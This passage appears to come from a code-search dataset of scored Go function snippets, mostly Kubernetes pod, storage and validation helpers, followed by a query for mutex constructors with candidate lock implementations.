3, nil\n}", "title": "" }, { "docid": "a71bfd7ca0a9f25fae61900e6217ae11", "score": "0.467533", "text": "func checkMetatdataExists(outputDir, manifestsDir string) bool {\n\tvar annotationsDir string\n\tif outputDir == \"\" {\n\t\tannotationsDir = filepath.Dir(manifestsDir) + bundle.MetadataDir\n\t} else {\n\t\tannotationsDir = outputDir + bundle.MetadataDir\n\t}\n\n\tif genutil.IsNotExist(bundle.DockerFile) || genutil.IsNotExist(annotationsDir) {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "51c125fe954585afa00e4ca4bf4d6337", "score": "0.4674776", "text": "func (s service) Exists(documentID []byte) bool {\n\t// get tenant ID\n\ttenantID, err := s.config.GetIdentityID()\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn s.repo.Exists(tenantID, documentID)\n}", "title": "" }, { "docid": "78f68057affca8e15069dfc58f2d3ee9", "score": "0.4674031", "text": "func isStoragePoolHealthy(ctx context.Context, sp unstructured.Unstructured) bool {\n\tlog := logger.GetLogger(ctx)\n\tspName := sp.GetName()\n\tmessage, found, err := unstructured.NestedString(sp.Object, \"status\", \"error\", \"message\")\n\tif err != nil {\n\t\tlog.Debug(\"failed to fetch the storage pool health: \", err)\n\t\treturn false\n\t}\n\tif !found {\n\t\tlog.Debug(spName, \" is healthy\")\n\t\treturn true\n\t}\n\tlog.Debug(spName, \" is unhealthy. Reason: \", message)\n\treturn false\n}", "title": "" }, { "docid": "6d14170974226741b122be77162b04cf", "score": "0.46695182", "text": "func createPod(cfg Config, command, args []string) (*v1.Pod, error) {\n\tclientset, _, err := getKubeClient(cfg.Kubeconfig)\n\tif err != nil {\n\t\tlog.Fatalf(\"cannot get clientset: %v\", err)\n\t}\n\n\t// convert to Kubernetes API env var from secret\n\t// TODO - make this part generic and add volume mount secret support\n\tenv := []v1.EnvVar{}\n\tfor _, s := range cfg.Secrets {\n\t\tenv = append(env, v1.EnvVar{\n\t\t\tName: s.EnvVarName,\n\t\t\tValueFrom: &v1.EnvVarSource{\n\t\t\t\tSecretKeyRef: &v1.SecretKeySelector{\n\t\t\t\t\tLocalObjectReference: v1.LocalObjectReference{\n\t\t\t\t\t\tName: s.SecretName,\n\t\t\t\t\t},\n\t\t\t\t\tKey: s.SecretKey,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}\n\n\tpodsClient := clientset.CoreV1().Pods(cfg.Namespace)\n\treturn podsClient.Create(&v1.Pod{\n\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cfg.Name,\n\t\t},\n\t\tSpec: v1.PodSpec{\n\t\t\tContainers: []v1.Container{\n\t\t\t\t{\n\t\t\t\t\tTTY: false,\n\t\t\t\t\tStdin: true,\n\n\t\t\t\t\tName: cfg.Name,\n\t\t\t\t\tImage: cfg.Image,\n\t\t\t\t\tCommand: command,\n\t\t\t\t\tArgs: args,\n\t\t\t\t\tSecurityContext: &v1.SecurityContext{\n\t\t\t\t\t\tPrivileged: to.BoolPtr(false),\n\t\t\t\t\t},\n\t\t\t\t\tImagePullPolicy: v1.PullPolicy(v1.PullAlways),\n\t\t\t\t\tEnv: env,\n\t\t\t\t\tVolumeMounts: []v1.VolumeMount{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRestartPolicy: v1.RestartPolicyOnFailure,\n\t\t\tVolumes: []v1.Volume{},\n\t\t\tImagePullSecrets: []v1.LocalObjectReference{},\n\t\t},\n\t})\n}", "title": "" }, { "docid": "9759fbccf2c69d862d729d58427940ad", "score": "0.46674275", "text": "func (s *SQLiteState) PodHasContainer(pod *Pod, id string) (bool, error) {\n\tif id == \"\" {\n\t\treturn false, define.ErrEmptyID\n\t}\n\n\tif !s.valid {\n\t\treturn false, define.ErrDBClosed\n\t}\n\n\tif !pod.valid {\n\t\treturn false, define.ErrPodRemoved\n\t}\n\n\tvar check int\n\trow := s.conn.QueryRow(\"SELECT 1 FROM ContainerConfig WHERE ID=? AND PodID=?;\", id, pod.ID())\n\tif err := row.Scan(&check); err != nil {\n\t\tif errors.Is(err, sql.ErrNoRows) {\n\t\t\treturn false, nil\n\t\t}\n\t\treturn false, fmt.Errorf(\"checking if pod %s has container %s in database: %w\", pod.ID(), id, err)\n\t} else if check != 1 {\n\t\treturn false, fmt.Errorf(\"check digit for pod %s lookup incorrect: %w\", id, define.ErrInternal)\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "312fd4507add206f5f7d65bb387afd77", "score": "0.46655488", "text": "func (r *ChaosEngineReconciler) checkEngineRunnerPod(engine *chaosTypes.EngineInfo, reqLogger logr.Logger) error {\n\tif len(engine.AppExperiments) == 0 {\n\t\treturn errors.New(\"application experiment list is empty\")\n\t}\n\n\tengineRunner, err := r.newGoRunnerPodForCR(engine)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create an object of engine reconcile.\n\tengineReconcile := &reconcileEngine{\n\t\tr: r,\n\t\treqLogger: reqLogger,\n\t}\n\t// Creates an object of engineRunner Pod\n\trunnerPod := &podEngineRunner{\n\t\tpod: &corev1.Pod{},\n\t\tengineRunner: engineRunner,\n\t\treconcileEngine: engineReconcile,\n\t}\n\n\treturn engineRunnerPod(runnerPod)\n}", "title": "" }, { "docid": "81a5132739433522e39fd7014bfe039d", "score": "0.46652636", "text": "func canDeletePod(pod *v1.Pod) bool {\n\tcontrollerRef := metav1.GetControllerOf(pod)\n\tif controllerRef.Kind == \"ReplicaSet\" && pod.DeletionTimestamp == nil && pod.Spec.Affinity == nil &&\n\t\tpod.Spec.NodeName != \"\" && len(pod.Spec.NodeSelector) == 0 {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "a15789177ba376d189a3fc03b09c2671", "score": "0.46606073", "text": "func checkIfPreemptable(status framework.PluginToStatus) bool{\r\n\r\n if(len(status) != 1){\r\n return false\r\n }\r\n\r\n for k , _ := range status {\r\n if (k != \"NodeResourcesFit\"){\r\n return false\r\n }\r\n }\r\n\r\n return true\r\n\r\n\r\n}", "title": "" }, { "docid": "99d95868597528db548bc8c667233bcc", "score": "0.46549088", "text": "func datastoreExists(validationCtx *validationContext, datacenterName string, datastoreName string, fldPath *field.Path) field.ErrorList {\n\tfinder := validationCtx.Finder\n\n\tif datastoreName == \"\" {\n\t\treturn field.ErrorList{field.Required(fldPath, \"must specify the datastore\")}\n\t}\n\n\tctx, cancel := context.WithTimeout(context.TODO(), 60*time.Second)\n\tdefer cancel()\n\tdataCenter, err := finder.Datacenter(ctx, datacenterName)\n\tif err != nil {\n\t\treturn field.ErrorList{field.Invalid(fldPath, datacenterName, errors.Wrapf(err, \"unable to find datacenter %s\", datacenterName).Error())}\n\t}\n\n\tdatastorePath := fmt.Sprintf(\"%s/datastore/...\", dataCenter.InventoryPath)\n\tdatastores, err := finder.DatastoreList(ctx, datastorePath)\n\tif err != nil {\n\t\treturn field.ErrorList{field.Invalid(fldPath, datastoreName, err.Error())}\n\t}\n\n\tvar datastoreMo *vim25types.ManagedObjectReference\n\tfor _, datastore := range datastores {\n\t\tif datastore.InventoryPath == datastoreName || datastore.Name() == datastoreName {\n\t\t\tmo := datastore.Reference()\n\t\t\tdatastoreMo = &mo\n\t\t}\n\t}\n\n\tif datastoreMo == nil {\n\t\treturn field.ErrorList{field.Invalid(fldPath, datastoreName, fmt.Sprintf(\"could not find datastore %s\", datastoreName))}\n\t}\n\tpermissionGroup := permissions[permissionDatastore]\n\terr = comparePrivileges(ctx, validationCtx, datastoreMo.Reference(), permissionGroup)\n\n\tif err != nil {\n\t\treturn field.ErrorList{field.InternalError(fldPath, err)}\n\t}\n\treturn field.ErrorList{}\n}", "title": "" }, { "docid": "8b82cb862debd61bedee13983a84f88b", "score": "0.46500567", "text": "func performWioExistsCheck(directory string) error {\n if !utils.PathExists(directory) {\n return errors.PathDoesNotExist{Path: directory}\n } else if !utils.PathExists(directory + io.Sep + io.Config) {\n return errors.ConfigMissing{}\n }\n return nil\n}", "title": "" }, { "docid": "b082127ccd07022df93f22d7dad79bb2", "score": "0.46486136", "text": "func checkPutObjectArgs(ctx context.Context, bucket, object string, obj ObjectLayer, size int64) error {\n\t// Verify if bucket exists before validating object name.\n\t// This is done on purpose since the order of errors is\n\t// important here bucket does not exist error should\n\t// happen before we return an error for invalid object name.\n\t// FIXME: should be moved to handler layer.\n\tif err := checkBucketExist(ctx, bucket, obj); err != nil {\n\t\treturn err\n\t}\n\n\tif err := checkObjectNameForLengthAndSlash(bucket, object); err != nil {\n\t\treturn err\n\t}\n\tif len(object) == 0 ||\n\t\t(hasSuffix(object, SlashSeparator) && size != 0) ||\n\t\t!IsValidObjectPrefix(object) {\n\t\treturn ObjectNameInvalid{\n\t\t\tBucket: bucket,\n\t\t\tObject: object,\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "072f30cd9a1060a7cc7dd54ea129c698", "score": "0.464407", "text": "func checkArgs(argv []string, min int) {\n\tif len(argv) < min {\n\t\tpubsubUsage()\n\t\tos.Exit(2)\n\t}\n}", "title": "" }, { "docid": "15427df667d429fe533b9c4eef6394b2", "score": "0.46362928", "text": "func (p *k8sProvider) CreatePod(ctx context.Context, pod *v1.Pod) error {\n//////////////////////////////////////////////////////////////////\n/*\n\treq := &v1.Pod{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"test-pod\",\n\t\t},\n\t\tSpec: v1.PodSpec{\n\t\t\tContainers: []v1.Container{\n\t\t\t\t{\n\t\t\t\t\tName: \"nginx\",\n\t\t\t\t\tImage: \"nginx\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tresp, _ := p.QTSk8sClient.Core().Pods(\"default\").Create(req)\n\n\tfmt.Printf(\"Pod created: %s\", resp)\n*/\n//////////////////////////////////////////////////////////////////\n\n\tlog.Println(\"=================CreatePod=================\")\n\n\tif strings.Contains(pod.ObjectMeta.Name ,\"kube-proxy\") {\n\t\tpod.ObjectMeta.Namespace = \"default\"\n\t\treturn nil\n\t}\n\tnamespace := pod.ObjectMeta.Namespace\n\n\tvar defaultToken string\n\t// Get Secret List\n\tsList := p.ListSecret(ctx, namespace)\n\t// Change ResourceVersion\n\tpod.ObjectMeta.ResourceVersion = \"0\"\n\t// Without select Node\n\tpod.Spec.NodeName = \"\"\n\t// Change the volume's secret\n\tfor index, _ := range pod.Spec.Volumes {\n\t\tn := pod.Spec.Volumes[index].Name\n\t\tfor _, s := range sList {\n\t\t\tc1 := n[:len(n)-6]\t//default-token-xxxxx from client\n\t\t\tc2 := s[:len(s)-6]\t//default-token-xxxxx from provider\n\t\t\tif c1 == c2 {\n\t\t\t\tdefaultToken = s\n\t\t\t\tpod.Spec.Volumes[index].Name = defaultToken\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n//\t\tpod.Spec.Volumes[index].Name = \"default-token-8nb6w\"\t// temp secret\n\n\t\tif pod.Spec.Volumes[index].VolumeSource.Secret != nil {\n\t\t\tn := pod.Spec.Volumes[index].VolumeSource.Secret.SecretName\n\t\t\tfor _, s := range sList {\n\t\t\t\tc1 := n[:len(n)-6] //default-token-xxxxx from client\n\t\t\t\tc2 := s[:len(s)-6] //default-token-xxxxx from provider\n\t\t\t\tif c1 == c2 {\n\t\t\t\t\tdefaultToken = s\n\t\t\t\t\tpod.Spec.Volumes[index].VolumeSource.Secret.SecretName = defaultToken\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\tfor index, _ := range pod.Spec.Containers {\n\t\tfor index2, _ := range pod.Spec.Containers[index].VolumeMounts {\n\t\t\tn := pod.Spec.Containers[index].VolumeMounts[index2].Name\n\t\t\tc1 := n[:len(n)-6]\n\t\t\tc2 := defaultToken[:len(defaultToken)-6]\n\t\t\tif c1 == c2 {\n\t\t\t\tpod.Spec.Containers[index].VolumeMounts[index2].Name = defaultToken\n\t\t\t}\n\t\t}\n\t}\n\n/*\n\tlog.Println(\"-----------------------------------------------------------\")\n\tlog.Println(pod.Spec.Volumes)\n\tlog.Println(pod.Spec.InitContainers)\n\tlog.Println(pod.Spec.Containers)\n\tlog.Println(\"######################\")\n\tlog.Println(pod.Spec.Containers[0].VolumeDevices)\n\tlog.Println(pod.Spec.Containers[0].VolumeMounts)\n\tlog.Println(\"######################\")\n\tlog.Println(pod.Spec.RestartPolicy)\n\tlog.Println(pod.Spec.DNSPolicy)\n\tlog.Println(pod.Spec.NodeSelector)\n\tlog.Println(pod.Spec.ServiceAccountName)\n\tlog.Println(pod.Spec.DeprecatedServiceAccount)\n\tlog.Println(pod.Spec.AutomountServiceAccountToken)\n\tlog.Println(pod.Spec.SecurityContext)\n\tlog.Println(pod.Spec.ImagePullSecrets)\n\tlog.Println(pod.Spec.Hostname)\n\tlog.Println(pod.Spec.Subdomain)\n\tlog.Println(pod.Spec.Affinity)\n\tlog.Println(pod.Spec.SchedulerName)\n\tlog.Println(pod.Spec.Tolerations)\n\tlog.Println(pod.Spec.HostAliases)\n\tlog.Println(pod.Spec.PriorityClassName)\n\tlog.Println(pod.Spec.Priority)\n\tlog.Println(pod.Spec.DNSConfig)\n\tlog.Println(pod.Spec.ReadinessGates)\n\tlog.Println(pod.Spec.RuntimeClassName)\n\tlog.Println(\"-----------------------------------------------------------\")\n*/\n/*\n\tpod.Spec.PriorityClassName = \"\"\n\tpod.Spec.Priority = nil\n\tpod.Spec.Tolerations = nil\n\tpod.Spec.Affinity = nil\n\tpod.ObjectMeta.Annotations = nil\n\tpod.ObjectMeta.OwnerReferences = nil\n*/\n\n\t_, err := p.QTSk8sClient.Core().Pods(namespace).Create(pod)\n\tif err != nil {\n\t\tlog.Println(\"Create Error : \")\n log.Println(err)\n }\n\n\treturn nil\n}", "title": "" }, { "docid": "17ffefcf8307e8c9e491f0f716faab4c", "score": "0.46279055", "text": "func podHasNodeName(event watch.Event) (bool, error) {\n\tswitch event.Type {\n\tcase watch.Deleted:\n\t\treturn false, apierrors.NewNotFound(schema.GroupResource{Resource: \"pods\"}, \"\")\n\t}\n\tswitch t := event.Object.(type) {\n\tcase *v1.Pod:\n\t\treturn len(t.Spec.NodeName) > 0, nil\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "af2eb77b3622f03d3a80860c49c61b52", "score": "0.46253735", "text": "func checkStoragePolicy(ctx *CheckContext, policyName string, infrastructure *configv1.Infrastructure) error {\n\tklog.V(4).Infof(\"Checking storage policy %s\", policyName)\n\n\tpbm, err := getPolicy(ctx, policyName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(pbm) == 0 {\n\t\treturn fmt.Errorf(\"error listing storage policy %s: policy not found\", policyName)\n\t}\n\tif len(pbm) > 1 {\n\t\treturn fmt.Errorf(\"error listing storage policy %s: multiple (%d) policies found\", policyName, len(pbm))\n\t}\n\n\tdataStores, err := getPolicyDatastores(ctx, pbm[0].GetPbmProfile().ProfileId)\n\tif err != nil {\n\t\treturn err\n\t}\n\tklog.V(4).Infof(\"Policy %q is compatible with datastores %v\", policyName, dataStores)\n\n\tvar errs []error\n\tfor _, dataStore := range dataStores {\n\t\terr := checkDataStore(ctx, dataStore, infrastructure)\n\t\tif err != nil {\n\t\t\terrs = append(errs, fmt.Errorf(\"storage policy %s: %s\", policyName, err))\n\t\t}\n\t}\n\treturn JoinErrors(errs)\n}", "title": "" }, { "docid": "f891fb15728f9d0298fcd4b1bcb5bd10", "score": "0.46190414", "text": "func CheckIfOnDisk(payloads []string) []string {\n\tvar missing []string\n\tfor i := range payloads {\n\t\tif !FileExists(filepath.Join(payloads[i])) {\n\t\t\tmissing = append(missing, payloads[i])\n\t\t}\n\t}\n\treturn missing\n}", "title": "" }, { "docid": "10e795fe64245233f27b4d2e198912e2", "score": "0.46144983", "text": "func system_disk_quota_checkIfQuotaApply(path string, username string) bool{\n\ttargetStoargeDevice, err := system_storage_getStorageByPath(path, username);\n\tif (err != nil){\n\t\treturn false\n\t}\n\tif targetStoargeDevice.Hierarchy == \"user\"{\n\t\t//User Hierarchy Storage Device, count as user's private storage\n\t\treturn true\n\t}\n\t//Not user's private storage. Calculate as public one\n\treturn false\n}", "title": "" }, { "docid": "008b241b9656432c3411375e6a18d95d", "score": "0.46135464", "text": "func (p *Plugin) Validate(attributes admission.Attributes, o admission.ObjectInterfaces) (err error) {\n\tif !utilfeature.DefaultFeatureGate.Enabled(features.InPlacePodVerticalScaling) {\n\t\treturn nil\n\t}\n\t// Ignore all calls to subresources or resources other than pods.\n\tif len(attributes.GetSubresource()) != 0 || attributes.GetResource().GroupResource() != api.Resource(\"pods\") {\n\t\treturn nil\n\t}\n\n\tpod, ok := attributes.GetObject().(*api.Pod)\n\tif !ok {\n\t\treturn apierrors.NewBadRequest(\"Resource was marked with kind Pod but was unable to be converted\")\n\t}\n\top := attributes.GetOperation()\n\tswitch op {\n\tcase admission.Create:\n\t\t// newly created pods must have ResourcesAllocated field either empty or equal to Requests\n\t\tfor _, w := range pod.Spec.Workloads() {\n\t\t\tif w.Resources.Requests == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif w.ResourcesAllocated == nil || len(w.ResourcesAllocated) != len(w.Resources.Requests) ||\n\t\t\t\t!reflect.DeepEqual(w.ResourcesAllocated, w.Resources.Requests) {\n\t\t\t\treturn apierrors.NewBadRequest(\"Resource allocation must equal desired resources for new pod\")\n\t\t\t}\n\t\t}\n\n\tcase admission.Update:\n\t\toldPod, ok := attributes.GetOldObject().(*api.Pod)\n\t\tif !ok {\n\t\t\treturn apierrors.NewBadRequest(\"Resource was marked with kind Pod but was unable to be converted\")\n\t\t}\n\n\t\tif len(pod.Spec.Workloads()) != len(oldPod.Spec.Workloads()) {\n\t\t\treturn admission.NewForbidden(attributes, fmt.Errorf(\"Pod updates may not add or remove containers\"))\n\t\t}\n\t\t// only node can update ResourcesAllocated field (for CPU and memory fields only - checked during validation)\n\t\t// also verify that node is updating ResourcesAllocated only for pods that are bound to it\n\t\t// noderestriction plugin (if enabled) ensures that node isn't modifying anything besides ResourcesAllocated\n\t\tuserInfo := attributes.GetUserInfo()\n\t\tnodeName, isNode := p.nodeidentifier.NodeIdentity(userInfo)\n\t\tfor i, w := range pod.Spec.Workloads() {\n\t\t\tif w.Resources.Requests == nil || len(w.Resources.Requests) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif w.ResourcesAllocated != nil &&\n\t\t\t\t!reflect.DeepEqual(w.ResourcesAllocated, oldPod.Spec.Workloads()[i].ResourcesAllocated) {\n\t\t\t\tif !isNode {\n\t\t\t\t\treturn admission.NewForbidden(attributes, fmt.Errorf(\"Only node can modify pod resource allocations\"))\n\t\t\t\t}\n\t\t\t\tif pod.Spec.NodeName != nodeName {\n\t\t\t\t\treturn admission.NewForbidden(attributes, fmt.Errorf(\"Node %s can't modify resource allocation for pod bound to node %s\", nodeName, pod.Spec.NodeName))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" } ]
e4132c11ccae09fc9e5f62019a661509
NewMutex creates and returns a new mutex.
[ { "docid": "ba792bf5e5a30335eda63ccd77218018", "score": "0.79371655", "text": "func NewMutex() *Mutex {\n return &Mutex{\n wid : gtype.NewInt64(),\n rcount : gtype.NewInt(),\n wcount : gtype.NewInt(),\n }\n}", "title": "" } ]
[ { "docid": "6234e2b552cfc26d643932141846c9f3", "score": "0.80343866", "text": "func NewMutex() *Mutex {\n return &Mutex{\n wid : gtype.NewInt64(),\n\t number : gtype.NewInt(),\n }\n}", "title": "" }, { "docid": "8bf32ab48e5358231d699e1ef6a1d0ea", "score": "0.79213095", "text": "func New() *Mutex {\n\tm := &Mutex{\n\t\twl: make(chan struct{}, 1),\n\t}\n\n\t// we always start unlocked\n\tm.wl <- struct{}{}\n\n\treturn m\n}", "title": "" }, { "docid": "16df23c50728af46a5e4e935b351059c", "score": "0.7652298", "text": "func NewMutex(name string) (Mutex, error) {\n\treturn nil, fmt.Errorf(\"not supported\")\n}", "title": "" }, { "docid": "bbd5d49277fd9306b82be021a4b70b36", "score": "0.7599318", "text": "func NewMutex(name string, ttl time.Duration) *Mutex {\n\tm := new(Mutex)\n\tm.Name = name\n\tm.Ttl = ttl\n\tm.Backoff = time.Second\n\tm.id = uuid()\n\tm.lock = redis.NewScript(1, luaLock)\n\tm.unlock = redis.NewScript(1, luaUnlock)\n\treturn m\n}", "title": "" }, { "docid": "443baf0adf326e48ea160282bdd09705", "score": "0.7347901", "text": "func NewLocked() Mutex {\n\treturn make(Mutex, 1)\n}", "title": "" }, { "docid": "a02b8a936bc9d476fd0fdec3428d1327", "score": "0.7289311", "text": "func New(bufferSize int) (newMutexBuffer *MutexBuffer) {\n\tnewMutexBuffer = new(MutexBuffer)\n\tnewMutexBuffer.SetBuffer(bufferSize)\n\treturn\n}", "title": "" }, { "docid": "b2e0d2b87af2e55632894d79be3c3cf8", "score": "0.70545566", "text": "func (r *Redsync) NewMutex(name string, options ...Option) *Mutex {\r\n\tm := &Mutex{\r\n\t\tname: name,\r\n\t\texpiry: 8 * time.Second,\r\n\t\ttries: 32,\r\n\t\tdelay: 500 * time.Millisecond,\r\n\t\tfactor: 0.01,\r\n\t\tquorum: len(r.pools)/2 + 1,\r\n\t\tpools: r.pools,\r\n\t}\r\n\tfor _, o := range options {\r\n\t\to.Apply(m)\r\n\t}\r\n\treturn m\r\n}", "title": "" }, { "docid": "6746ae25d6be5c0760da928b2d9deab7", "score": "0.6820067", "text": "func NewMutex(config MutexConfig) (Mutex, error) {\n\terr := config.validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !path.IsAbs(config.Resource) || len(config.Resource) == 1 {\n\t\treturn nil, &ConfigureError{\n\t\t\treason: fmt.Sprintf(\"%s the specified resource is not a fully qualified file path - '%s'\",\n\t\t\t\tconfigureErrPrefix, config.Resource),\n\t\t\tnotAbs: true,\n\t\t}\n\t}\n\n\tmu := &unixMutex{\n\t\tmutex: &sync.Mutex{},\n\t\tconfig: config,\n\t}\n\n\terr = mu.resetFileUnsafe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn mu, nil\n}", "title": "" }, { "docid": "c73527a5dfc1865cd3b49b82f6be46f0", "score": "0.6782521", "text": "func NewCMutex() *CMutex {\n\treturn &CMutex{sema: semaphore.NewWeighted(1)}\n}", "title": "" }, { "docid": "77e0f7e2655ffc3b37ac67a1e7b46a85", "score": "0.64116776", "text": "func newDMutex() *dMutex {\n\treturn &dMutex{\n\t\tmutexes: make(map[interface{}]*cMutex),\n\t}\n}", "title": "" }, { "docid": "504b238990d95448aa04594965e796dc", "score": "0.6176647", "text": "func NewLock() Lock {\n\tvar l Lock\n\tl.c = make(chan struct{}, 1)\n\tl.c <- struct{}{}\n\treturn l\n}", "title": "" }, { "docid": "504b238990d95448aa04594965e796dc", "score": "0.6176647", "text": "func NewLock() Lock {\n\tvar l Lock\n\tl.c = make(chan struct{}, 1)\n\tl.c <- struct{}{}\n\treturn l\n}", "title": "" }, { "docid": "19c3e4f48e3581549814f71f2dbdf32d", "score": "0.6110324", "text": "func NewUnlocked() Mutex {\n\tret := NewLocked()\n\tret.Unlock()\n\treturn ret\n}", "title": "" }, { "docid": "bd7b828bcd0871f4e228e8e7bda0f8a0", "score": "0.58786726", "text": "func New(size uint) *Kutex {\n\treturn &Kutex{size: size, mus: make([]sync.Mutex, size, size)}\n}", "title": "" }, { "docid": "95257d109fcc8228bcf5613c85ff80f3", "score": "0.57385415", "text": "func New(concurrency uint) *Semaphore {\n\treturn &Semaphore{\n\t\tmake(chan empty, concurrency),\n\t}\n}", "title": "" }, { "docid": "38b676da92c76fa6cfe0cd5012d57cf8", "score": "0.57340693", "text": "func New(safe ...bool) *RWMutex {\n\tmu := new(RWMutex)\n\tif len(safe) > 0 {\n\t\tmu.safe = safe[0]\n\t} else {\n\t\tmu.safe = false\n\t}\n\treturn mu\n}", "title": "" }, { "docid": "fbf2f5c6303e74b745a2cc5530f04beb", "score": "0.5727498", "text": "func New(filename string) *Lock {\n\treturn &Lock{filename: filename}\n}", "title": "" }, { "docid": "a8dc6eb150d9e7f09c7237298c500b82", "score": "0.56686014", "text": "func MakeTimedMutex(ctx context.Context, warnDuration time.Duration) TimedMutex {\n\tif warnDuration <= 0 {\n\t\tpanic(\"duration must be positive\")\n\t}\n\treturn TimedMutex{ctx: ctx, threshold: warnDuration, mu: &Mutex{}}\n}", "title": "" }, { "docid": "c19254e011d58020aef3aa486db7057a", "score": "0.56682885", "text": "func newBox() *box {\n\tvar locker sync.Mutex\n\treturn &box{sync.NewCond(&locker), nil, nil}\n}", "title": "" }, { "docid": "c715de78ef9193c6e2f81920152613d7", "score": "0.5564134", "text": "func NewLock(session cassandra.Session, tenantID string) *Lock {\n\treturn &Lock{\n\t\tsession: session,\n\t\ttenantID: tenantID,\n\t}\n}", "title": "" }, { "docid": "60632af91d8a66787f8e27bbb4df3ce1", "score": "0.55618256", "text": "func GetMutex() *sync.Mutex {\n\treturn mutexPool.Get().(*sync.Mutex)\n}", "title": "" }, { "docid": "8a94ab07024bf475d0813388a9952e94", "score": "0.5558229", "text": "func wrapMutexRaw(data *C.ALLEGRO_MUTEX) *Mutex {\n if data == nil {\n return nil\n }\n return &Mutex{data}\n}", "title": "" }, { "docid": "30c8464b5509bf76e8a3590b881aecd4", "score": "0.55300814", "text": "func NewMutexClass(t reflect.Type, lockNames []string) *MutexClass {\n\tc := &MutexClass{\n\t\ttyp: t,\n\t\tnestedLockNames: lockNames,\n\t\tnestedLockClasses: make([]*MutexClass, len(lockNames)),\n\t}\n\tfor i := range lockNames {\n\t\tc.nestedLockClasses[i] = NewMutexClass(t, nil)\n\t\tc.nestedLockClasses[i].lockName = lockNames[i]\n\t}\n\treturn c\n}", "title": "" }, { "docid": "bce811e2d61ac809271b5686ae3ae0cf", "score": "0.5527527", "text": "func (_m *DistributedLock) NewMutex(key string, maxRetries int, retryDelay time.Duration, expiry time.Duration) sync.Mutex {\n\tret := _m.Called(key, maxRetries, retryDelay, expiry)\n\n\tvar r0 sync.Mutex\n\tif rf, ok := ret.Get(0).(func(string, int, time.Duration, time.Duration) sync.Mutex); ok {\n\t\tr0 = rf(key, maxRetries, retryDelay, expiry)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(sync.Mutex)\n\t\t}\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "649bc72837633bb82c5cc17ee001cf5a", "score": "0.5419599", "text": "func New(path string) (Lockfile, error) {\n\tif !filepath.IsAbs(path) {\n\t\treturn Lockfile(\"\"), ErrNeedAbsPath\n\t}\n\treturn Lockfile(path), nil\n}", "title": "" }, { "docid": "c2fcaa292966674cc812318806a892ff", "score": "0.54180425", "text": "func NewLock(log Logger, api Agency, key []string, id string, ttl time.Duration) (Lock, error) {\n\tif ttl < minLockTTL {\n\t\tttl = minLockTTL\n\t}\n\tif id == \"\" {\n\t\trandBytes := make([]byte, 16)\n\t\trand.Read(randBytes)\n\t\tid = hex.EncodeToString(randBytes)\n\t}\n\treturn &lock{\n\t\tlog: log,\n\t\tapi: api,\n\t\tkey: key,\n\t\tid: id,\n\t\tttl: ttl,\n\t}, nil\n}", "title": "" }, { "docid": "37961459503cacca16cbfb805d3b8ed2", "score": "0.534325", "text": "func New(capacity int) Semaphore {\n\treturn make(semaphore, capacity)\n}", "title": "" }, { "docid": "37961459503cacca16cbfb805d3b8ed2", "score": "0.534325", "text": "func New(capacity int) Semaphore {\n\treturn make(semaphore, capacity)\n}", "title": "" }, { "docid": "ebd5782661ae5d333933e4104759faa1", "score": "0.53132373", "text": "func NewSemaMutex(name string, flag int, perm os.FileMode) (*SemaMutex, error) {\n\tif err := ensureOpenFlags(flag); err != nil {\n\t\treturn nil, err\n\t}\n\tregion, created, err := helper.CreateWritableRegion(mutexSharedStateName(name, \"s\"), flag, perm, lwmStateSize)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to create shared state\")\n\t}\n\ts, err := NewSemaphore(name, flag, perm, 1)\n\tif err != nil {\n\t\tregion.Close()\n\t\tif created {\n\t\t\tshm.DestroyMemoryObject(mutexSharedStateName(name, \"s\"))\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"failed to create a semaphore\")\n\t}\n\tresult := &SemaMutex{\n\t\ts: s,\n\t\tregion: region,\n\t\tname: name,\n\t\tlwm: newLightweightMutex(allocator.ByteSliceData(region.Data()), newSemaWaiter(s)),\n\t}\n\tif created {\n\t\tresult.lwm.init()\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "a5913f3b6b1bbbe2df85da1e3de71799", "score": "0.5312471", "text": "func wrapMutex(data *C.ALLEGRO_MUTEX) *Mutex {\n self := wrapMutexRaw(data)\n return self.SetDestroyFinalizer()\n}", "title": "" }, { "docid": "7c9326cd42467cc942dab0e6892110a6", "score": "0.53007305", "text": "func NewReentrantLock() *ReentrantLock {\n\treturn &ReentrantLock{\n\t\tg: &sync.Mutex{},\n\t\tl: &sync.Mutex{},\n\t\tlockBalance: 1,\n\t}\n}", "title": "" }, { "docid": "9668531746f7bfff20ebf470fe70bff4", "score": "0.52786887", "text": "func NewMutexRedis(conn redis.Conn) *MutexRedis {\n\treturn &MutexRedis{Conn: conn}\n}", "title": "" }, { "docid": "210752def1472693cdeabebb4ce87f64", "score": "0.52679384", "text": "func NewNamedRWMutex() NamedRWMutex {\n\treturn NamedRWMutex{pool: sync.Pool{New: func() interface{} {\n\t\treturn new(sync.RWMutex)\n\t}}}\n}", "title": "" }, { "docid": 